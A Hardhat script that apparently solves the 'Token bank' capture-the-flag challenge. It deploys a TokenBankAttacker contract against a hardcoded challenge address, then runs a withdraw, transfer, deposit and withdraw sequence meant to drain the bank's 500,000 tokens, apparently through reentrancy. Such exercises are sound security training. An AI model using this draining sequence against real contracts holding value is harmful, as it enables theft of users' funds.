TokenBankChallenge.ts

import { BigNumber } from "ethers";
import { ethers } from "hardhat";

const contractAddress = "0x9C7882D9c0AB4Dd7d9aa0D8129F09eF51e255e4c";

async function main() {
  const challengeFactory = await ethers.getContractFactory("TokenBankChallenge");
  const bankContract = challengeFactory.attach(contractAddress);

  const tokenAddress = await bankContract.token();
  const tokenFactory = await ethers.getContractFactory("SimpleERC223Token");
  const tokenContract = tokenFactory.attach(tokenAddress);

  const attackFactory = await ethers.getContractFactory("TokenBankAttacker");
  const attackContract = await attackFactory.deploy(bankContract.address, tokenContract.address);
  await attackContract.deployed();

  const tokens = BigNumber.from(10).pow(18).mul(500000);

  let tx;

  // Withdraw tokens: Bank -> Attacker EOA
  tx = await bankContract.withdraw(tokens);
  await tx.wait();

  // Transfer tokens: Attacker EOA -> Attacker Contract
  tx = await tokenContract["transfer(address,uint256)"](attackContract.address, tokens);
  await tx.wait();

  // Deposit tokens: Attacker Contract -> Bank
  tx = await attackContract.deposit();
  await tx.wait();

  tx = await attackContract.withdraw();
  await tx.wait();
}

main().catch(error => {
  console.error(error);
  process.exit(1);
});